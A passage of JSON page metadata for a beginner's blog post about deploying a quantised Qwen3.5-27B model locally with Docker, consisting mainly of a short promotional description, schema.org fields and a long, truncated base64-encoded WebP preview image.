LLM. Mgtr.","description":"The most efficient approach for a local installation is leveraging Docker containers. Please adhere to the deployment steps listed below. 1-click setup: the app automatically fetches the large weight files. The configuration wizard runs silently to set up the model for peak performance. \ud83d\udcca File Hash: 91647e0f43b17cfdd9f985b7ad050ae4 \u2014 Last update: 2026-07-09","canonical_url":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/fabriziogarcia.com\/en\/deploy-qwen3-5-27b-awq-4bit-pc-with-npu-for-beginners\/#blogposting","name":"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners - Ab. Fabrizio Garc\u00eda Bacigalupo LLM. Mgtr.","headline":"Deploy Qwen3.5-27B-AWQ-4bit PC with NPU For Beginners","author":{"@id":"https:\/\/fabriziogarcia.com\/en\/author\/fabrizio\/#author"},"publisher":{"@id":"https:\/\/fabriziogarcia.com\/en\/#organization"},"image":{"@type":"ImageObject","url":"image\/webp;base64,UklGRgJJAABXRUJQVlA4IPZIAAAwKgGdASr4AU0BPjEYikOiIaEjJjFKaGAGCUhvXnBovU+oa5zMY4kuxzofEj\/5fXPxn7u\/Y\/mz\/gf2w+cfjnt89v\/g\/2D+X33O\/1v9j4hfEf7bzU+iP+T\/ifya+XX+8\/9X+q91H54\/2397\/fn6Bf1a\/2\/+N\/Ib6K\/7\/9kve7\/fv+X\/1f2v+BX9B\/vf\/h\/zP7\/\/Nr\/0vWN\/lvUD\/s39m\/8\/ru+yH6BP7Yf\/\/2f\/+v+3\/wuf1P\/iftj8DH8y\/zn\/v\/1\/7\/\/IB\/\/\/bA\/gH\/n6q\/kj6bfMf8T+Q\/R7+xfxlYz\/mfBb+V\/eD8j\/huO\/gF\/if81\/wH9v\/YT+8+Bn6tM2fqO+9n1z\/A\/4X92\/718W34\/\/V9U\/ED\/Wz\/c8oZ6h7Av9I\/w\/\/A\/wHsZ\/8P+R\/1H7y++b6v\/7P+s+BX+X\/1f\/af4T2vfaF+6PtNk7dvZqwesoOX3qrFDu71iExc\/SvQeAr+hDNi31ceV11ItBPGlr25fvZgcxvGE4aau0MBoJq8y8cY5QbBHv6RU6EOEkRznXSDw9LzsEiZXuB7cZEpkyHsy0Mc6gzF3jk6M49eohAngQFfwKTfdmOz8pRzKXsUUwpbiWKP5OBMAi1YRPNx3\/h35M+NoAgQty8PrAuJH6f9XvxxX\/n3nGQn3aaNv2KB\/3xWmwz+3g\/B6MQWZky3lU+BETr7zqB5YqszPxVpubs8fhWCBikt\/5ySs8cSRcOvzLexry3m7y6Tzg9KScFqRhHQMiVjPEIdOU+Y5C8rwZaYmYtHtaokkyQgljKu2PY9\/metXjsqxY0\/JKAc4I\/Kjy1XB1M5raPTLyd8SzCX7G3tbl4xXFAvwJTDN++y1kjbTlHgVozNZ4Tc2v\/V60Kdz1GTdbeJM2WDIuiPpj\/zWOc6gfOxm9dC1ni1zkM1Iy\/6lth2w4XN856W8zqK1TdE7DhIqVsTMCPNNB0VYoyogEIejdDGk+X2dS7qalQus4e6RDaoLZYkvG6YVTojoAxt8H89I6ZlHvoji\/v21akbX2t5Hcz8t1zVcHYSosqcjf5B8VXDjyDWWYfNPHtnsMOiG1q637Ia1skMkBsdDxETwOKgEkChEGCsk5FX3QExEFneQO9a0HgoYBMvxE2E0LxNQG4fOe6kQKM\/cbKqVvhrAngaSAHMTW2G8+NaRjmQQtcbNuAE4eAOMVhGMZfULCXcgj\/Q+NzcCbinNoC64Vo2ODLr4cP6KrlJNOPEFmzI0gkyw2UvrZFycVYbt0v1wx58k3efefLIN872WEBLz3RZmDVGK2qL3AvB1\/rIHs+VUIlJkuh\/zPYJcK+uHX2eRYlvTuLCela\/qmPrGqDr0afvCE8h67HGrCz\/kKLBLJG2Wm8+yHLGdljeZA5dFuRaC6BlotS6ldz\/vdc2wpsfrlLlLXLFYEACF9zxWAvsREBQZH\/uDB7ycH9CQ6itqGxCrJix1htTcnQAFvBwgaHdQUl3gtOCuG3sUlywgqRKwgplZ45VVpOgoEkdAapcOQCo9rMwLcpf0sGL2RzNPA076xSWMKXMPSF0y\/nqhBAix\/6UXkm6bNqaBhdZG7SEdEusPQEPusJ6S1w8TwgNxnNNKrUEbm8uQtbfLD6+dSYIxsslm9fF46RLfytL0RVfs7vRyju8Buc546Tfx+pKVjLwSE1snbkeO0FUrJCusZr1uGI0pcQYBjRuP7VVAeclXyblGt+oQVdlTHZfvHF5JBX8gZslP2TdmNoN1PLNTNXWrXWFVotF4i76OfaVLIb0w+nCfnjQVMDXR+7n+eHUq+m2cdERPvIor2j0uvyr0lqw245JWbWKNea5E+ubCkTrl6HNhqgaSE7oyFeo\/hOQWE2QLbIDP9RxUo5lYFcuyoEPezGjaMbQqdh376Wo8FjwKEzkNiUeMCU8qf6mX0PZ0JsvNrqZ5Dg432XggqX+HmSkOsDStThKbizxhrDqZRu1hJf6KDwIN6CMHilEYF\/8i6AyU6gE+IMmk2H\/VirxByUegPQcGXN8m\/dH6jO7QfrRv1JtCRsWQe4aKf6isiYbBiKsJVmIOaZMuoKqhvy+EWD5w5WDbLAsiXDxVaJdgRppdqTPvvP87ARXZrg9TIbA0AdnCSsbmugtsRf+8\/kvac\/0TTrq5sDruEk\/GpQ18CDf+n2PpGAhqXLbQh\/nCySc0oF+TfwuuukpFIJwItoLM5fiPi+tjg+1ym2HR2+SnYWlnV9apP5w\/nUgpvicoevsBXZQ\/1bNGz4FONF5eLrKYnHJqAXd7fz0Z3\/1SLhIWUSVcZ9K97opIqwjnZvO8qA6fYjgp5rmybISous06jQ5H1ExD1Y9vRP4ZoZ4SRmtAGBQ7cq132pnnXKPmLiPIyjURXQsFAecUa2berA+XyHgYa1CpulHbPVjTIxn1YC7YowONRT8ETKBwSQeo1kmwI6YBIezN+1VsXBHgtcWR3YDcEMvA\/DQVk9VBQWB\/ZVKYTPvCQf1FUHdGA5HHec2\/\/bPe3m3CwMZDQ5LqdqRfDKnQ89wFHhk0EBEGG8RSwJaSOgRVXc53c0U\/DVCziCI9w37zIIBdyVAhxmN\/31Ig0KB30W0gGBAwk3fXN+sk+foShbcjfFGISz+LyRvJOgsfbvOntqZQ5oGSGcH77\/4SmwOIDVCR4XpNYSR6FpNdBGJZdBOSrZP\/CybX6W5HcGi3\/lOD8SrD\/HXFu8coOv+u9WFIyfIISZHCfZPcu9sl1E7UKGOeD9bjUkPlqhu+SJpwoYJELi4F5q9SwvkN8vNxkMDY+2p4kPREhGEoQ8vGLM4y6mGl1OBbMUz\/Jbp05MMltTmVvgpus2\/hP90REKaZOlSbhWxBXr5hUYJLTjjGxEXp8iL43ei1CABSz3hpX68bD7VcX5\/zeeLg8PVAS6q+HbjIHIxM\/KXFnc563mtwHe28DZVzZ1W6gRTOOS2SVzuu2nbItr0gmz\/xkUcaCsUNfva\/ZOJGvwG4My4B1guRpe+aufPPf9z65T\/s1gd\/LY38vHbvPfQefXJ1y2qcWD4hFcnuGwIQ\/3gYOK5u1S+yFIg3Xz9bTdnOHET+1a7PcsbskhqQl8UGLpqM8E9AIjt9bv\/AZOJgk5gi9ZZ8nKTjRLY0za0xclBygqcIFC5iPlya\/5IU+m6Zdk7orfpXKLT6CS6q2wfXSWB63SQoCn5aGlG6NBgj0+FwutrIJJgBbuCcfxwLHWGaOkGAA\/v9qZqEg9Xs32YMzQayhNqUh\/8Qiqm2v6Dwf9\/xnmtDXmqbGgEEXlLyr89Xeh+2rtDisVnkGN61yLM5cm6RMdIDgdAJZd1xMclGGYrGsz9bRVM0juukyxAmtrVN9yAk+38rt2eL0lSuth3TIiGVyeYrK700QfQcSuRtmY8c9u5\/QI9m7n4ZngMEl0HZzlICMcL6WMZlxo2U8TKpgyByw+c5iMus9hIzGXXAKAGckXY\/yRZSMzwB34nB8d4S6t+3fzY5+M7BwDs3csOALPKOS1BmjA5FPpR3hlW6OXKI9Er26b7byAWgp6d\/C2OXVn7UhP6m2e\/tFjWbCDNN4UVQLjH5c+xJj1fOzXENG6sG2iRBo3Z68yA7pgdBueFTA789bB5WCr5oidPB0n6o5ebA0yry7e4DGEgQKOTbAhPFj1WnpcqeHAIqjIXCZUg5uSTBqXlNEZVdYqGoAq+YgTcq8+\/Fn39aDhpzQattLmoRV7pds7\/5TQA2DzsMySzjHi4h\/yqpVcu3dunUhXzNUMocdkmE07u5JU8B92WPp2NWLFwd8FX5qr0gi4boNh\/XaR4FY7JVwA72w0+p8RHWQl43DEcL\/N1dQTEcZ\/sR1WGjVbijtUcmexgCPqeZAbuXHarjyuWh6mmhjLRhWwz\/Z5Ms3FTzDKlW+8+bfXh7wiu6uivgAK2Xs\/GFzaFUKKTxbkoUck2vBzUXrXv17\/kaI\/30rZLeJoHecxGXnmo2qcR4BwjTCjc64J5QjvzDdhugVok4x1R9Gly+CI1mWi\/5BpptPYV4w5xeo4UQyyX5HTSFojsyI9PhaJHJAmJ4eDJOJUwAZkEuXw+vXD3mbGvCUks8KTxHjBEtpSplZlk6BvdHUq7OXVoHp0KhotZXECqwF34i3OcJ1AkwuY5iIKTGnBRnlvj6FvmsVtaY2MRTEdYp0\/Dr0zLzNJAESvH3JQiD\/vTaQvpqNRV0\/b7hjDGSc911jN9Hs3sdXo36izn4y3j\/wwj5y5E3tv1e2EJjUzfkkvkyo8gi+J6ltkAxq2J\/sI+4bGpUnKFXZ2PJoFZ3KJs0mVhsnxVRnD2xmNBe0ziPZTq1uycop2v8\/BtROUfFMxs+NKJ\/LHr16lvl5iUOelcf6m5t\/XXPxW6FWFbandCuxmDMOZB+itNCVFpDGiCu11uVGOFmIOTy+YItOYDAx8DOdl4W3QXBk4C0I\/sp1flxWAo4XgWrDfA\/fPORY3mzcPd9KdIh+QTaM1jaG7JVvLkQCngdxBpV\/sfKA8qEo7JY8UzKgYfZn\/osLqQkC8VSxmxK1nPSpEY6GfRjrBE8jN3pHQOhf4C6BJxz2+fAHtQ1e83r5YTxyfGACZRmvlo6g4CqcT01pRw4+Vw1690lLlpRp1H\/v+SMays4eowQ\/bovgieUBNMWeCNoTanj\/F2vUneWyXfmI18UU0drEfFjPVebnzv1Wm8KXIykRoY1sUVa0P2hNR4pRAeei88jAbGEM\/57Sn9Mi48GrKg9ZRFtHZlZ8OjbvrdeqIZUfqSIkPS3FsWBRhBYQHhrZ7ibHbg2aKLP3\/ZlaM2rqc4LXzLXgBVRrv8U9HTVW8LSxTNG6PVT1le+nJB2xkHzMwecglvL7kURdpwv0T0I9tOLgo684tTBPVNDcGZqD5E8+AUcUZaxbRB32LMwVoYWjz33yPZa9bCnj+RO3wNsvIt8zoFUpPLAxeGhj2\/0c2eYn1jGA8HwO\/vOPemjvEBgquajMfx58B14KHIOoVzeVOZ\/eXIJUOk4TbyyfRaLIXQp4tyfZt8wuRJ7MMInl3ZybrC5+orfvUkgoIrAR3W\/zBK8oVB22UzsLTAjOWxlFWujNoQMpIZP7VHVCVUOagA7YKJ0e\/Xlm3tSyx5ZOb8uKjABw9zXfqSn4HBVp53o6tuFcbd1gPLiXUpFx8HhwtscfPc\/hleudz2DVf9hTVjFNuyxFmw7K5KXXV\/nHU7ugb5GRCiIy34YM+3dyarjJ1Dt1Der0UCvt2sh6Hl60KG0PGL0qbIB9etSHN\/iETEBIV72GPyFkl9CA2jmjYlWsrHJ3IyzWHFA8B\/3lfFP90asLxlq+uilVJ62t5KjITyjg9O97uN8Nssk6UPqVGuhSpaoUHFgDeIzQZqk+Nm4xrHpl5ZUA5OVyuDwZZT6bTh1hRj7YZvdJ900TX10CuwBKLLmN4OaRoyossC2byzpKLMqPoZvaxFTcgRJ3PL7cg1GOlF6uGeEJJR+uHPGjKppqP8JUo++H6kL3t9b0M+Rsr2Mk5BFOEheoYnEJ7D\/WZG\/SVWvyO8h3\/RNo1LK89vyUghZSNJTj5kDdYYndCyat\/DaG8ad3+JzN143GUtNXH9SaWMzBYYTOdxWIpsTAOeL+mBW1yIRDhBYp17bJS83isQ7SA5SueCtWg1IlY0Pxji4qG24e+iTBrzeucvxDtjNg\/BOdwsdDaPClQFUWdZeT3N7Xx7K415LlAOSn2Q\/20p5Ci7Lour5zvnU8gJiwW4+kR80bhWm9glmSfmprrMO6SJwKECW07rQFWUPEDWGDBExl8hJW844mI+3qT3skXwsHqAA\/FU7PJnF4d4tBIP1jYfdvFMPV80eq7JKB76RmQFoyIxMAhFyQ+f\/u66d4zMg\/WVecIZ5Lt5xL4MYYuI\/SzsKdIkJo048ze7gkaBob0y+o+37pvzyAXbJ5KyDUf6MmhvQXByzRjSYqiVR+IitDx\/BFou4CHDKl\/9IncPLG5akKDLvwt+MGktYygy\/i1A3JrZm8ZLL1uvv6OIBbaUSjkM94pesAtPBEls651OznkHMYxF1MCAB\/CPdbaBwwzOVi1Mb37HU12ceNTF4k+piuoLc0CBciLI\/lhQtcWGfUgxNWb9KSOjX779tpQ9QUefly9CAvdWHALTSLXPruhh6IHsR+6jxCVxLiXyODTvbU3\/bGgM7tr4V1GPCBrRZtT7Dx8B9cv7rabGIDnBi02drmPB9QZzdwmvOmEcXuXzQfXaYLsTYECPjuVZZEt1nHj5vAqTsh82xETEDcx42MAgs4N0oVNeBynqz\/7znQ4TrTGqv9bSSuzRvTvPB4c7V66hsgh7v+mF+nxHiD5haGLmIPcuiMBCxQEWrKSy1iUHCvYEGMRCPCMhP5Af+C3hz5U5N4ZKoJDe6AMCrteB9Iv2uf8uJmOfixdEJ00ZCPvRnR05JnOyGhhCbzbVZxqXbnSyC0eh1VqEQ69aTpl0wFCMXxOLmnS7e7NHSvKREtJKqGsn1+j3qHvNQOmJxzktWi+5xG6Nc96la93+TlDI\/ZfDjyZBkbvYr9zO4VdfHPSbxDzHMk8yPwXoqgBCcLBc4tuUnFI7PxVFO16eydx6AuLqVeG6BLxykfX5skjDksXuB+BDS9zj7oV2nuRDJNHm0Df\/MpmLq7Rix1J3MAHT3ep4LgmEPoZm8DNaok5cMaImjXyxIOBJbpII9FIEDYaaPBDSu0OyjRGS0jYpHgK9imnJvLLYlD925VRZ3niWZJkgkt4Q8VyZNyGNUfocVZ7SYpU\/7ig5aYI8MVMvbZ8aaabWLJeJ5asK0FTRK\/KTktRZJBnPbxGQCL+BfUjk\/0VPRh8ZYSdFLlpuUbIZmYAamkaZFoDMKkRzoGN\/czQQIeeuioTW8GD38UL9PRM8fuc8V\/Il3Ks7ZjPOoJWqsAl40r6RI37\/MpnMcV728PNC2Vn5A4viMLPC8yRLK4XJz+lbIxD8g8j7HC\/ufrGKbN6VYE8qlycBL2JsjTI71Wdy\/un5qpDzyPxGFtzGTBvIabEI79FQI+oa2wCYdV2zcswQSC63BCBrhjZysHjAzR8Pd8w+JRib1wtgwC5SCzVUB61as0UOyYM5uLVaCp57gLiIWWpgaoEjAUo3Yufq6EsqEPjR1q7J0Q6lYOGZJ10+hYD+7P4KsBbto4DxujoWLhadltvx0BKS1NNZJoJejfE8G8kTeTzUeCLDNfsqmJ4f96kXNKagZd2\/Y2D3vNM3MmfiEhwyG\/QaT+3cCXyiJoteRvlPctDS3YR7VQKYlO7flWdqQXIYqQ5M67WUWpT35p+Re15AKI3bSHpA94t6bcBPB+fVZXvbMVNtPcA2goS2B1LqXXDaqfxoZyq98GcpAx9HA9iLTS0DrGIMahNLqYiXCHRJ9FHi0SbvIKdMU6GNZI5Ci\/f5\/RGsDCFUf\/jRkekRVHBi11zrFQWeqfmWfFLtvbjb\/Lyc6xQlY9lg94FtdDd1pEE\/K4C3SA1QmMKVxOqj1C9O7VRh0oVpweD+2tG\/SeABIs7F7oNGvW68SDlcbuJby88t+cquQiGuvj1zvVuxnVDFmpB0BCRymkQdTL+xrXCpIczohcPQWQlCMAozyuzGa6TNY9n0rlEYTzuhRnaaE8e3\/saTK0yCDDj2xAEp\/txRntxD3R47CT7poRjTMzm+Y0M5pN3wzsYUJrJcm4DtgfTachKUFSWrYZ36anJMcBOsX+VGv7EGLG35YXSYBbluyYR2wrBevqt1awlT5My4n\/MQ5VU50XQWYb6DBsJk8kbWyc6woWC5k4fRI444m+TxNTPhyP8PUZ+9V0v60QX2qglY5dCoodYYYmp9nyoyJ3AWuTq\/QWvR4jPQoIlA4eJ1FEev7ipOApq72DiYDP2znDv0oHg9fGJWZz8Ig7scPHbRaCYQmDqOODzdWaKXNfgN+delHWmHXrHBS8HQxZ0DHuKo10N1Yw7+v1Y8UEBw8mM9L7xThlyHpLWHkHO+1ojxmsl+GcWk8wXuRgEes3rkAPRMDMeGVi3j62G3Ue8Mt1qvn+2ihNjciX43w63+7qH55Wxm1VYeT96petCxiDfYOiXlN3aWbKmtKCDQdeAus5Q2x8zrjrWOV9qL1fzZKGuULIVKJEaMmJsC+C+EBnDu2n3wmxoc3a6r82EPIJq5Nfo6muHcXoHFyxqQ0JL8TMToF\/DTegWXQSzus5hC4Ef57eR0DHNy+4yWs+XVuGJyWoU56FkQEBdE5y0fFmNo6\/qlSfBxne3aS7CjbvoT5IY15cJ61cfWF6or2pryUPSf6OzpXl+JYfws0qXIXNNaeCelqgv6Od6uOU0sf8F+Y9Q1A4gmdNG0\/xz3JLIhNgFiYcXASVPqCFujp3Vmzs1VyOweSVYsBKVJraRmgooVGlpHAroRFNoK93zB7xL3fB11O16G9JrbVEZd5mj02jYQWyuI26xRasPG3XizGpZhGf2X64eq9cN\/47EWUHIYaegwbW6AnVQeXQ1YQSmxI4vePHQu\/JPu6be9d1z9eMhYW\/EWZz4hMfeQlLsOAt3SOyF5RiKTp9Vv2WfodYhC+dyuOZDHj32zNd26SebEXneHOzqBVNbyRwAqtil7j8F1hrgyIdJWPqIhaerNLMbeMZzJ9kb7dXAkwCvKP8ZREWZuz8y12vzBCZBHSmTf0zyRgi8+UVQdZ91KkM+wXykKWcAdfVbeotocVyUb2xkxOIouvTBkH73ltaWmU4txARTYc0E78BmuBxy1GcZhEbuhAA5\/JjuqMYnp5bNtnuO67GEGBjwz\/4nLLY915fBgxdh4XAaZsA93fdhj2AB4KfzWIplvcPxn9PZIhl+aLISo03fCTuJafg55dFLnYkThCygjD4tmoGlMjtFsGXOHLAQnJYsE7FYI2aHW7oneojSt68ID99pOjtQZSU3I2uHJh9LErDLdEO5qZgsg\/hexRRAUWnFSYB7gA2X9f9\/fy5YOjrgwTm3+ZJQSM1BPpUIbkuNUAoeVsIq2OuORtiEq085rZUR2QZyJfZ9NlA9hG6fffOum6KyV+R9JjjyhK2bq2MP4S7EAKuYtNisEMoEsNqjVA0MbN0DvNqcx2KIEZYJvmHO0PadWMEgBgQYg2HONqIX4vg\/9rwB7x+3pcXTH+Rz94nDnAZpF\/L+iyDyJaz87Q3c33HpFItFI0YOv7F7t9YLAOoXeO7xvgAfG\/8YJ5\/v5VoAx5ag0lY1fsPaZWrCApkC3NBitRrS5GmFyf8+ihtHW\/X0R5KJ+ul98HALgW+1PU2Az3JAID02tknTNQ8b2udhaPnJCnbKTt\/JnplZDHU6RrjVUy2Dhm541u8k3N4J2gIRKHQ4II+RQOhPZ7q6d0DgDa7BZ7hIqfcTRy\/4hNVLCuxEsz+T5bW5GvnjJi0QR28N5yPwdhoK+cwebVbRNqQI8xYaoOxCEEsO+lo9v7XcsjWXMsH86dWmXYa5KbfVD6LP7I3xRR0v6ZGk+32VKcdx1Z1S7ZN+e\/S2sTtxfw1kdegA4Qy\/Df1PbQ7ptjnOgE\/E0d78rQ7WN3c72ZWq+RKV5OGohQF\/4sRfQRbzIdq4x2AZr1+TTMWYX3aNManx4tsLzaI3tYp6qrCBE9OaYi4gWXYfpKNfmtK+5qZrfu2qyIYcmYXVy92QHf\/76YncRsByEFd7ChnT3o5Iy0ZlRPD8mSb4LvhnRDT9azsoSggs7dj7OEF1xBTCrD1lGgyu9pe1egeIjZzaVCB70naxCIZffm50WDRtl\/XKL49JiL+P5wYzWt8i8OO0RAloO7AxQO6ot90NwMSfFU9b10ub8BUojqkJ7epMAzY26Up8q5MA9aaBWA5Y0RZkf6V+nH0yLmbF+qIqCLdUbx4YSC86oOK4eKOuHuE36q5dsusqf2JGFKJU7WHPfnr0SLUklYMPBJGt1hUWaQceCrU4D5RZVi7SYiCxzXQE\/tuAvxzsLURVTkgANzyPXitvXm0dnWbVNDLRbrpC9cWKYGinXdNhPeDUH3xLf7zDqcpAlXX2V3AAr2As6wMJtJuGGSi7da50G6l9IOU3eGMWOH\/MoqyWy+Jp5Eo0D0JORRDd0rIvXXMYHulNPFXqCaXkNnYK3tNf+L6bjkAsZX0hQYIOjOlTPJB4drh5q6AEo5cnEaXoqzLBb+n4G23lj+AoTMAzEMgAgIfppsksfPW\/OaD9kEpW8afOu4W\/Nr2jdqKmRodiccAXQyXn9g8bEtsCsFEHaQyVqrCRzgYpExdwnWtXAy1g5YmMcuByIHXVjbcrirXjkL+8zARF1eeyGYuCkBsCYxeyM7uvLJfqalVSEV6Rw7bXgJtR6VmB3Y+eAayRBQU03ubo629xu3u1QFAaFZOq9cOjCC0j8GuR8gC3wrFhXEb7x4wBF0nLD89XAkLFpRpCqgbMkEBFEzlxtq7CFl5vK0itAdhYeHMlSMU9WCOqZRZuun7jbTfMk5\/EAp7sHARSbC2ip2yOHPfP+KCDvE\/eoKTyGunOIWIoBaMvI7wr6u1IKdOqVK1qa4bf7tALgtDJH1jZVvWKHlW0n05wtJDF0rIlnoHY3b06RNggLQ7XqbcN3u7XBe4IiZm1UcNjVlUrdTGVDmVVlP+LVTBpbPYYQJYWubfHQwkjoM0oBNREZhzHSTLw3ZXf5M7NB5siw8g5HMBCW7sMr6MlUIBJ0UnCSHYBnF6xZq3\/RZW9cVtoRsQEpIea\/KhV1AIxcSEW\/fnuK0wdLJNi9is8vlPTrj3Seg5JLhvLfyPUYrLTNFIRWKnpiabL7f7yNJQhAW4rsYzIIiDW6akOUtnAtJPFGG7pUDfd7A\/VI2PKM5Tr8k9WKD2HHvw\/VhkR5M1SPJEyPcYNPN2vgUrv+K4AckYksUOWKGtUzAOgwR19NSqzdadvRw+k3X9MFLqcWWPBek5R2yxSthNGX2BPOLT4WTaIVB\/5XFsOfJMTX9ywfh23+YznWnVuBk6xjMuVbo7Q1Zk8mJWrMdp+fbKPc1NlFjsvgq08+Q+eUCjTdPdS+pJTwggphNpdVSJKqqWRCExIVtU70NqHXQSHu\/ywc7T1gsceHjgwHFrwuXlvg3Fs9XmOStqpErdOkSXZ868VOet\/cW3hfFTUYA0Ai2askNuOxxIBgvR7rR7crvEMei\/dESSulkyUtMIvRwTIf4QnEHjGOhCHIwEBACHLGb6uX5ZDkBWky2uW5mzHoAuAZGd72QgLY+21WvKUTTcFAuI\/HlBv2nBC22r8ewbS2cP06\/G5wUWqtg0TvK5iraXyaswStKnfmy+Fz3qkyFCUi5sbsEbTI78FYAYfDLNJNYEg9I9yyg1KPL2XQ3BBtd\/yrJngmTGauL4nQtSLucPx9C37jAC9i9\/v0r+VxF1CDQIdc+52Si6rx\/QvwCl02VS0Ue7dCGGaykp2FDH0IJW9lT0rNxS3P0STlpi8EOaR4SID9SafbMdUT4ixhg0B22jSttYPL0454ry8oKDeIO948MOJ7WaQVjoKpyYdmT4d8mnSp8ZyxHbDdYBXWjkphpfxvsOLkudQzdZH86Lo6tTnqjZZLvxNPsVMz4rVfVlADYwY5bQWBJlgxERp1E5uAYgfUZLCU2PJXmFtr4oJYoavwSC\/8ynPb6Z0k+0iPzjWrZm1\/MgaOrzWIQlfRaXYI2O23BEdyBZL3nMfDeAWZy+zRVOJKOXbefOqXXRzR9DI3rNunDsysrTUYbdSjDkJTCPHwJuyPp1Ufm5JiGSO8u2IlPH0EpCOSYQUct+87uIo5GftZ8sZlzFtJe6U1g11AR24yY4Syju3q8e\/9x+yXTabBFvCYOMHpOA+BUyMUAW2MZ1CvOmapuCxfZa6gTX8yOStqlZYlZ+tb8OF\/fIPMeJoh7k4uKeYxNvSxeE0\/I97lfMGDHYh0IFyj7yl6U2brUig+5dC2eefEvUcFsQoHaWDe9BcI+Gz9d11\/YR1SmVQIDe9UMwWfKcqGcIWYGQXba7YNHW\/bjL6dqDYtvjzq1pNEjErLkvnxV\/u7RB8GWjz3VADhAESR4AYNEQuY9xubXDe6ILqhlaMpGmVcd8qIUgkXYmG+VGHc639voEdUKpOSJ\/ZoEKTf0FYY7pLdy90TRfOskSliUry8fryhPVLlZ0HajtASPhVTkYKOzgLYln3dMDeMupZB\/BJ\/u+hICCAmAVeFPMMoX\/2pGpvQ6xcOXdNveGxVCBAwYn7HafS1msE4QPeXks4Wx56gtsz0kjtgaOL28wnhHt+dZVmwTa7sDETyuVi9IrPrRasF7DtcNPiMaKHsq7pUWL4o400+3ETJ2qnG62\/gPMfVDQ4uT9\/Gy02GRErkcikel\/9GzP3TBPM6XlMOU0RTOoYctcDWgutKadiLAxxCztUYNpxTsq9g9dtJDVtsGJf6VZ849IO9bTAVJ\/dZmMf+WTaC9EPyybq5TNg0Ihj0Y16JCx3BmZR8SRYY+Hq0z2AHO+FnsejU5OOfc0db8hlPcSEsxvG+vP8yijcEDRcZzmYeMLvB7XUhQ4OClL9\/UBr0m3YRl9Fbo9wEfgJjKDYDDL5nD+uxQ3Z7iz7OwrQcc91eUqvYd2SHlVo5a9sJ3UXSTbQI3qCeTyS+qPRmK\/F9WoqvBqc3HdKhnZaQHM3VKc+o+rYYZTgzS4TpXvx4EfuTA5kliuLPPv9qTINwzAxlYxpS8pBPkXKWpq9AGEJsrU6lXhzl41PcindQ09LSVC9dAG8voEzlisqra9+JWlIhgQ6Iai1BqK6iDOcrQHtmvCHnCYj6sx\/ID9GMgNfzGayG9GRI2fXuRj8ndgAzwHpZ9OYWao9TG5T43gDsb21GduRqrJm54HFpmQyDTaWM35VTXYmzcvPmjK10tTC2HjEdh4EBbLjf6551TVlff9TN4MW0qtDOjb0Bh6J9bdNhIkkqUQL0Dtk+4F4qMdmigDPQkj9zH0P3dcyaoHOAljt7ulgVrS7ialoJjC7awyRsiLpXB67SzuUS4FKOLP4kPn3aHR2uc0yFUsZMP3rxt982GYuewJYTgpdoAQ8XlQYqF2Js0s+OI\/AgO\/9eQfT7rdrDHhsZCMdGtmIP6c2ZVWdx9lPSIGpM1zbBebkWUUquX8GaH8THG6+BxB4GU1xJNZBQuss35CVhl5cTCEOlvaZLUm1g3jLX6Zt7Xz0ecexi89i1031SwoyWWswTyucw+cuK2h9dv68gzNEtC9Tkc3uFpW9UY\/46e9d17dA5FRYV8v29KpyDEl9gKVWcc1tlcDHstHaOzuIKPIpLxcHn8JFILz6RWniM+Q6lx+Te34WH+k\/bARm11BqcOJh6ixDDCERrLcYoVAtHunX6zA4cPro6YGuBXTEcKylDxerUZa3m9yx2lkiBewdmxWW9ixBVwKynYqiCpeLOlAYXkUYFgWdNej1bedKT2DasFi7VBvDzAQwqIZJT9zz+bsl8uusSZvuvejeLk3ayeFJB54C6SiKt\/+dAjR4W3TXuD6QSwiWJyOPml2FX\/bnQIPy5w6vsBXD\/IWp5ZuyzsKLTOHJIU7ZdxBIs+c94pU6Wi9LEUN4amic\/41vM8NCcXoXwp4bM8n+fDwg7zJttIBH6wrfcYF5McsTSKGvzzHB3FomUuC14P97jsA0yLJQx9nMeU\/hSzWAlcrOCxPExnMmOC0Aq3jGWRkkAebdWTPqzEMfwvk8\/54Xa2\/YpwHR5t5neVFaOnPwCPfFPDk0OfeKCScENhJVaOZANbnbP6TmUx7ozeXUXrrIw\/bbJvVIJOrSqYZp5jcMdPSYWCsIqK7xCN7OfW1QUwm7CbCA7s1SG94LkgsxNPpHtI7rCMN+eS1ylCC1RyfFoc6iJIJDyyDcm33IFkks4EjR+1R5MlIMQbhxlDBIea5cFJqlxFpkWQSjjq5O6Jm9Udj2pCryVuehNe66fv4ZDtQJCyPMy\/0tiyeOcKrHR8Vb9cJx2hQJq6mp\/NaYyhpTyxzfuFURjbta+8iNqs3WOeLgv6+viE5eryexbGkQluWq9am5IVa3C2PIxO6z+nvytf3MThFG4bkh\/n960cbvn7G0E1MxcpJhN0mvUIKNDve4N2pNHqu\/SWohLT9EKr+35RaLcjmrm+mliRZCA\/rdGwDozbaGS0x\/FYzG51yO4daDfutDiTFQ5eW2HeqlwNBmA60ZG8Er0iGtJiz3SrnuujMJZC3seB1bm2LjNMmxnqg0pNtmd5tGU7yjvck745IAlUDw7avT+WcLr6gXocUgSeO9cegRQeRK5MOxUociCgs9BzTzWnqDunWZf6YSTR0nItMq15xc5woT\/et+UtD4Z4+jtQuxzqYNFgdXX4S1RUPgpQ+e8bs2SFAFPPIRzUmMLSlmhJG0owCxQ8av\/M1eJsO0Py8F\/HULMrl\/3QbCHQA1AYTXyBs9h629WILpqhE9kJVzon73Bf6pZZ8opTV8rEX2oHLPDhbCYiHU5WbDHqf5AbPCvUHasH+SfVm0RB9S2rOIxAvoxO8bVgdQ\/KRzPNq6HbMfJt6h7g9Wz9xmfCZDZlK7Dutf5G0WJmM+lIZVKBKFmQHJTuwoTQnHB34iBgvvfgBHn4x8VIg4ZIDks8vxfzN4u1\/guxE808GKeYDsDE9+GeXkHWk1043xgDcQbHew+02G2jpCGJOX84zu3lP\/jno0VTB3y96FMDWaF1L698OV+bXEq4y06faeqIB5W+TuziIVtZ17XDGJ1djRRT5B+513Vv3oOr3OOA6SNKliweXfweqEdIUjY0ONNpArsr94RCHaZ5AQIMYlWfAuLRCISUbP7lhHT5Q5y7S+SOn4lFN3W7duQBmPDxq3zFYjxGHGxj5EJzDkjfGhA8xAnsW7bpi6Q1ZRHBJGCTYqawyEJH6UPCY8DJqPXxsDj21PxXPRMfbqngvybMJux5yyegEHMEbNPlIrOokBEe3fOVNtzFIb